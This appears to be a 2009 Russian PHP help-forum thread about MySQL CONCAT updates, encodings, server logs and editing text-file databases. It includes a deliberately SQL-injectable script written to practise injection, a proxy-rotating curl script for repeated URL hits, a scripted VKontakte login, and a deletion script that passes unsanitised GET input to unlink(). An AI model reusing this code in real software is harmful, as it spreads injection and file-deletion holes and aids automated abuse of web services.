$db->query("UPDATE `4epopalo` SET `fr`=concat(fr, $concat) where id='".$fr."'");
Почему не работает?
есть мнение что concat() при update не работает..
$db->query() or die(mysql_error());
И смотри что не так
Osip Есть мнение что вы ошибаетесь
restart_05 какая цель стоит у запроса? Если добавить к выбранной ячейке некий текст, то нужны кавычки вокруг $concat (одинарные). Если же это имя другого столбца - то нужно убрать запятую из переменной
restart_05
28.12.2009, 19:27
Мне нужно добавлять с строку числа через запятую к примеру имеется число 8, мне надо добавить 9, и чтобы в строке получилось 8,9
Vlad&slav
28.12.2009, 20:20
Задана символьная строка, шрифт и его размер. Как можно определить длину и высоту строки в пикселях? :confused:
(посредствами PHP). Зарание блоагодарю)
Vlad&slav
28.12.2009, 20:38
а можно подробнее :)
и рандом не подойдет вроде, нужно чтоб каждую строчку по очереди до последней.
<?php
ignore_user_abort();
set_time_limit(0);
$tim = 5;
// время в минутах
$proxy = "proxy.txt";
// фаил с прокси
//
function get_url($url,$proxy)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_exec($ch);
curl_close($ch);
}
$data = file_get_contents($proxy);
$mas = explode("\r\n",$data);
for ($i=0; $i<count($mas); $i++)
{
get_url($url,$mas[$i]);
sleep(60*$tim);
}
?>
Вроде так . Я не запускал :)
Можно ли в переменную засунуть математическое действие? Например $a='+'
Как вариант
<?php
function calk($zn,$a,$b)
{
switch($zn)
{
case '+': $res = $a + $b;
break;
case '-': $res = $a - $b;
break;
case '*': $res = $a * $b;
break;
case '/': $res = $a / $b;
break;
}
if(!empty($res)) return $res;
else return false;
}
?>
как скачать файл через curl в папку сервера?
Mr.fokin
29.12.2009, 01:50
как вставить данные в форму "логин" и "пароль" вконтакте?
Тут смотри как реализовано http://forum.antichat.ru/showthread.php?t=166127
---
<?php
set_time_limit(0);
function post($url,$post,$refer)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
$email = "мыло";
$pass = "пасс";
$result = post('http://vkontakte.ru/login.php','act=login&success_url=&fail_url=&try_to_login=1&to=&vk=&email='.$email.'&pass='.$pass,'http://vkontakte.ru/login.php');
?> (c) not me
<?php
ignore_user_abort();
set_time_limit(0);
$tim = 5;
// время в минутах
$proxy = "proxy.txt";
// фаил с прокси
//
function get_url($url,$proxy)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_exec($ch);
curl_close($ch);
}
$data = file_get_contents($proxy);
$mas = explode("\r\n",$data);
for ($i=0; $i<count($mas); $i++)
{
get_url($url,$mas[$i]);
sleep(60*$tim);
}
?>
а урл то где прописывать?)
так? $url = "http://ya.ru";
и прокси в текстовике должны быть такого формата: "ip:port" ?:)
<?php
ignore_user_abort();
set_time_limit(0);
$tim = 5;
// время в минутах
$proxy = "proxy.txt";
// фаил с прокси
//
function get_url($url,$proxy)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_exec($ch);
curl_close($ch);
}
$data = file_get_contents($proxy);
$mas = explode("\r\n",$data);
for ($i=0; $i<count($mas); $i++)
{
get_url($url,$mas[$i]);
sleep(60*$tim);
}
?>
а урл то где прописывать?)
так? $url = "http://ya.ru";
и прокси в текстовике должны быть такого формата: "ip:port" ?:)
Формат записи проксей в текстовике
PROXY:PORT
URL прописывать в 4й строке.
<?php
set_time_limit(0);
$tim = 5;
$url = 'http://ya.ru/';
$proxys = file('proxy.txt');
$proxys = array_map('trim', $proxys);
foreach ($proxys as $proxy) {
get_url($url, $proxy);
sleep(60*$tim);
}
function get_url($url,$proxy)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_exec($ch);
curl_close($ch);
}
?>
потер, ступил, вс енорм, спасибо ;)
Салют.
Кто-нить может на php сварганить для ВКонтакта.
У меня в заявках 9000 друзей.
Хотелось бы их не просто добавить, а в опредленнуюб группу созданную мной.
Точнее не группу, а список. Список друзей например с названием TRASH.
А то руками очень долго добавлять и еще редактируя в список.
Плачу 10 WMZ за рабочий скрипт.
стучите в аську
------------------------------
Update: icq 24zz2xxxx
согласился написать скрипт. Уже не надо спс
БД MySQL
Есть скрипт на кодировке UTF-8
Он принимает данные из win 1251
далее я выполняю
$params=iconv('Windows-1251', 'UTF-8', $iii);
И пытаюсь занести в БД данные
$db->query(".....param='$params'.....");
В бд ничего не приходит.. Если оставить в вине то будут знаки ?
В чем может быть трабла? (БД в cp1251, столюец в БД utf-8(cp1251 тоже делал))
phpdreamer
29.12.2009, 19:12
попробуй
die($params);
и отпишись о результате
попробуй
die($params);
и отпишись о результате
Если даже вывести SQL запрос в браузер, скопировать и провести запрос в БД то не пройдет.
А если в ручную с клавы набрать то все ок
SQL-error нету.
Покажите этот хитрый SQL-запрос, выводимый в браузер. Возможно, в синтаксисе ошибка
NewCapital
29.12.2009, 23:22
что такое логи?))
phpdreamer
29.12.2009, 23:28
Для учета всех действий, совершаемых как с web-сервером, так и с сайтом, используются лог-файлы (или же просто логи). Лог – это текстовый файл, понятный даже новичку, в котором каждому событию соответствует одна строка с временем и некоторыми дополнительными сведениями. Для удобства пользователей лог-файлы часто группируются по датам, что облегчает поиск необходимых сведений.
Чаще всего хостинг-провайдеры предоставляют пользователям возможность просматривать логи, относящиеся к web-серверу, панели управления и FTP-доступу.
1. Логи ошибок web-сервера (error_log) помогают найти неисправности в работе сайта. Например, если в скрипте произошел сбой, то в error_log появится соответствующая запись. В ней будет указан текст ошибки и полный путь до файла, в котором она произошла.
2. Логи доступа к серверу (access_log) не менее важны. Они помогают анализировать посещаемость ресурса, определять причины нагрузки, отслеживать попытки атак на сайт. В access_log сохраняется IP-адрес посетителя, конкретная страница, которую он запросил, время и служебная информация. С помощью access_log также можно узнать, насколько активно сайт индексируется поисковыми системами.
Для этих двух типов логов хостинг-провайдеры обычно создают отдельную директорию на сервере, объем которой не входит в общее дисковое пространство аккаунта.
3. Логи авторизаций по FTP и панели управления в большинстве случаев доступны прямо в панели управления учетной записью. Они представлены в максимально удобном и сокращенном виде (время, IP-адрес, логин), чтобы не заставлять пользователей разбираться в обилии сложной служебной информации. Подобные логи помогут отследить несанкционированные попытки работы с аккаунтом.
restart_05
30.12.2009, 00:15
помогите плизз с concat http://forum.antichat.ru/showpost.php?p=1786549&postcount=13973
Architek86
30.12.2009, 04:37
что означает ошибка:
date() expects parameter 2 to be long, string given
?
Architek86 В качестве второго параметра ожидалось целое число, получена строка. Что непонятного?
restart_05 соберитесь с силами и дочитайте мой ответ на ваш первоначальный пост до конца, а не только вопрос, который я задал
Вопрос: у меня есть самописный движок для сайта, пишется сразу 2 файла:
avto.txt --- содержит ид:ссылка - кидается на сайте, для авто-добавления новых ссылок и id{$count}.txt - при каждом удачном добавлении пишет обычную бд,типа "ник:название:ид:прочее" , и у меня задался вопрос: как удалить тот или иной ид? Понятное дело,что мы можем удалить нужный файл id{ненужный ид}.txt, но ведь инфа содержится ещё и в avto.txt? Как перепрыгнуть на строку, имеющую заданный ид и стереть её? А если это не строка, а написано много и занимает две строки,но вконце я сделал ограничители типа: /r/n
spamoney
30.12.2009, 11:05
Всех с Наступающим!
Такой вопрос, как можно преобразовать:
сообщение
В текст:
сообщение
lothlorian
30.12.2009, 11:14
Всех с Наступающим!
Такой вопрос, как можно преобразовать:
сообщение
В текст:
сообщение
echo utf8_decode("сообщение");
spamoney
30.12.2009, 11:51
echo utf8_decode("сообщение");
Нет, не получается так...
restart_05
30.12.2009, 11:57
Gifts при добавление кавычек она записывает всю строку concat(fr,,число)
restart_05
30.12.2009, 12:17
если добавлять $db->query("UPDATE `4epopalo` SET `fr`=concat(fr, $fr) where id="".$id."'");
то добавляет числочисло, а запитую между ними ни как не удается поставить ((
Вопрос: у меня есть самописный движок для сайта, пишется сразу 2 файла:
avto.txt --- содержит ид:ссылка - кидается на сайте, для авто-добавления новых ссылок и id{$count}.txt - при каждом удачном добавлении пишет обычную бд,типа "ник:название:ид:прочее" , и у меня задался вопрос: как удалить тот или иной ид? Понятное дело,что мы можем удалить нужный файл id{ненужный ид}.txt, но ведь инфа содержится ещё и в avto.txt? Как перепрыгнуть на строку, имеющую заданный ид и стереть её? А если это не строка, а написано много и занимает две строки,но вконце я сделал ограничители типа: /r/n
Ну вообщем хз как у меня с логичностью с просони. Вообщем
В папочке сделал файлы:
avto.txt
id1.txt
id2.txt
id3.txt
id4.txt
id5.txt
В файле avto.txt:
1:ssilka_1
5:ssilka_5
3:ssilka_3
4:ssilka_4
2:ssilka_2
Ну и вот скрипт:
<?php
$file = file("avto.txt");
if(!isset($_GET['del_id'])) {
foreach($file as $f_line) {
$line_arr = explode(":",$f_line);
echo $line_arr[0].">>>".$line_arr[1]." [ <a href='".$_SERVER['PHP_SELF']."?del_id=".$line_arr[0]."' >Удалить</a> ]<br>";
}
}else {
$id = $_GET['del_id'];
for($i=0;$i<count($file);$i++)
{
if(preg_match("#".$id.":#i",$file[$i])) {
echo $file[$i];
unSet($file[$i]);
if(unlink("id".$_GET['del_id'].".txt")) echo "Deleted";
}
}
file_put_contents('avto.txt', $file);
}
?>
Код не комментировал, тут все бонально. Если что не понятно пиши.
И привыкайте уже к SQL
то добавляет числочисло, а запитую между ними ни как не удается поставить ((
Значит колонка fr в БД строго - INT ты или преобразуй ее во float или в char
Серёжа393
30.12.2009, 13:43
Короче это чудо какоето. Решил щас потренероаться с sql-injection у себя на хосте. Написал тестовый скрипт
<?php
error_reporting(1);
mysql_connect("localhost","root","");
mysql_select_db("test");
if(!isset($_GET['id']))
{
$res=mysql_query("SELECT * FROM news");
while($line=mysql_fetch_array($res))
{
echo "<a href='index.php?id=".$line['id']."'>Новость №".$line['id']."</a><br>";
}
}
else
{
$res=mysql_query("SELECT * FROM news WHERE id='".$_GET['id']."'");
$line=mysql_fetch_array($res);
echo "<table border='1'><tr><td>".$line['id']."</td></tr><tr><td>".$line['text']."</td></tr></table>";
}
?>
подставляю ковычки - нифига, подсталяю 2-1 в id. тоже ни фига. стоит у меня denver3. раньше помню тренировался-всё было отлично... а щас бред... помогите пожалуйста.
UDP:
вот дамп мускула
-- phpMyAdmin SQL Dump
-- version 2.6.1
-- http://www.phpmyadmin.net
--
-- Хост: localhost
-- Время создания: Дек 30 2009 г., 12:46
-- Версия сервера: 5.0.45
-- Версия PHP: 5.2.4
--
-- БД: `test`
--
-- --------------------------------------------------------
--
-- Структура таблицы `news`
--
CREATE TABLE `news` (
`id` int(1) NOT NULL,
`text` text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
--
-- Дамп данных таблицы `news`
--
INSERT INTO `news` VALUES (1, 'В перми сгорел ночной клуб');
INSERT INTO `news` VALUES (2, 'Вчера успешно прощили выборы приздента США');
Короче это чудо какоето. Решил щас потренероаться с sql-injection у себя на хосте. Написал тестовый скрипт
<?php
error_reporting(1);
mysql_connect("localhost","root","");
mysql_select_db("test");
if(!isset($_GET['id']))
{
$res=mysql_query("SELECT * FROM news");
while($line=mysql_fetch_array($res))
{
echo "<a href='index.php?id=".$line['id']."'>Новость №".$line['id']."</a><br>";
}
}
else
{
$res=mysql_query("SELECT * FROM news WHERE id='".$_GET['id']."'");
$line=mysql_fetch_array($res);
echo "<table border='1'><tr><td>".$line['id']."</td></tr><tr><td>".$line['text']."</td></tr></table>";
}
?>
подставляю ковычки - нифига, подсталяю 2-1 в id. тоже ни фига. стоит у меня denver3. раньше помню тренировался-всё было отлично... а щас бред... помогите пожалуйста.
UDP:
вот дамп мускула
-- phpMyAdmin SQL Dump
-- version 2.6.1
-- http://www.phpmyadmin.net
--
-- Хост: localhost
-- Время создания: Дек 30 2009 г., 12:46
-- Версия сервера: 5.0.45
-- Версия PHP: 5.2.4
--
-- БД: `test`
--
-- --------------------------------------------------------
--
-- Структура таблицы `news`
--
CREATE TABLE `news` (
`id` int(1) NOT NULL,
`text` text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
--
-- Дамп данных таблицы `news`
--
INSERT INTO `news` VALUES (1, 'В перми сгорел ночной клуб');
INSERT INTO `news` VALUES (2, 'Вчера успешно прощили выборы приздента США');
попробуй error_reporting(0);
Серёжа393
30.12.2009, 13:56
попробуй error_reporting(0);
не помогло. чтото меняеться когда перед id статавишь ковычку.
т.е. id='1
такое чувство что чтото фильтрует или мускул странный какойто...
У тебя скрипт будет выполнять запрос к БД том случаи если у тебя переменная GET['id'] = FALSE т.е. пуста
if(!isset($_GET['id']))
убери восклицательный знак
Серёжа393
30.12.2009, 14:11
У тебя скрипт будет выполнять запрос к БД том случаи если у тебя переменная GET['id'] = FALSE т.е. пуста
if(!isset($_GET['id']))
убери восклицательный знак
для начало посмотри на скрипт внимательно
если нет перменной ГЕТ АЙДИ то выводитя ссылки на новости, а если есть ,то выполняеться этот скрипт
else
{
$res=mysql_query("SELECT * FROM news WHERE id='".$_GET['id']."'");
$line=mysql_fetch_array($res);
echo "<table border='1'><tr><td>".$line['id']."</td></tr><tr><td>".$line['text']."</td></tr></table>";
}
?>
UPD: бля посмотрел на твои посты выше и понял с кем я разговариваю....
[QUOTE=Серёжа393
UPD: бля посмотрел на твои посты выше и понял с кем я разговариваю....[/QUOTE]
:D
Ну вообщем хз как у меня с логичностью с просони. Вообщем
В папочке сделал файлы:
avto.txt
id1.txt
id2.txt
id3.txt
id4.txt
id5.txt
В файле avto.txt:
1:ssilka_1
5:ssilka_5
3:ssilka_3
4:ssilka_4
2:ssilka_2
Ну и вот скрипт:
<?php
$file = file("avto.txt");
if(!isset($_GET['del_id'])) {
foreach($file as $f_line) {
$line_arr = explode(":",$f_line);
echo $line_arr[0].">>>".$line_arr[1]." [ <a href='".$_SERVER['PHP_SELF']."?del_id=".$line_arr[0]."' >Удалить</a> ]<br>";
}
}else {
$id = $_GET['del_id'];
for($i=0;$i<count($file);$i++)
{
if(preg_match("#".$id.":#i",$file[$i])) {
echo $file[$i];
unSet($file[$i]);
if(unlink("id".$_GET['del_id'].".txt")) echo "Deleted";
}
}
file_put_contents('avto.txt', $file);
}
?>
Код не комментировал, тут все бонально. Если что не понятно пиши.
И привыкайте уже к SQL
Прокомментируй пожалуйста скрипт, что здесь должно быть?
Дело в том, что у меня на сайте лишь построение из ссылок..Эмм, вот так:http://slil.ru/28424432
Надо чтобы редактировать можно было, к примеру введя ид из админки.
Вот примерное построение:
<?php
$arr = file("morph{$id}.txt"); $i=0; foreach($arr as $line) {
$i++; list($avtor,$tema,$mess,$smess,$id,$li)=explode(":",$line);
$bd['avtor'][]=$who;
$bd['tema'][]=$tema;
$bd['mess'][]=$mess;
$bd['smess'][]=$smess; }
if($morph != 1) { $arr= file("$morph.txt"); } ?>
<div id="header">
<h1><a href="/glavforum">Nexus World</a></h1>
<h2><a href="/glavforum">Форум NexuS </a></h2>
</div>
<div id="menu">
<ul>
<li><a href="index.php" accesskey="1" title="">Начало</a></li>
<li><a href="#" accesskey="2" title="">О нас</a></li>
<li><a href="/glavforum" accesskey="3" title="">Форум</a></li>
<li class="active"><a href="morph" accesskey="4" title="">Morph</a></li>
<li><a href="/myform/index.html" accesskey="5" title="">Администрация</a></li>
</ul>
</div>
<div id="content">
<div id="colOne">
<h2>Трансляция</h2>
<h3>"<?php echo($mess); ?>"</h3>
<p>"<?php echo($smess); ?>" <a href="#">Комментарии…</a></p>
</div>
<div id="colTwo">
<h2>Раздел Morph</h2>
<p><em><strong>Morph</strong></em> сейчас в разработке,пожалуйста <a href="/glavforum"><strong>обсудите</strong></a> его или просто можете осмотреть наш <a href="index.php">новый сайт</a>.</p>
<p>WoW Морфы. <em>.mod morph $id - морф по дисплей ID существа </em>
</a>.
</p>
<p>Наши id's:</p>
<ul>
<?php $arr2 = file("avto.txt"); $i=0; foreach($arr2 as $line2){
$i++; list($id,$li)=explode(":",$line2);
$bd['id'][]=$id;
$bd['li'][]=$li; }
for($i=count($arr2)-1; $i>=0; $i--) { echo ($bd['li'][$i]); }?>
</ul>
</div>
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot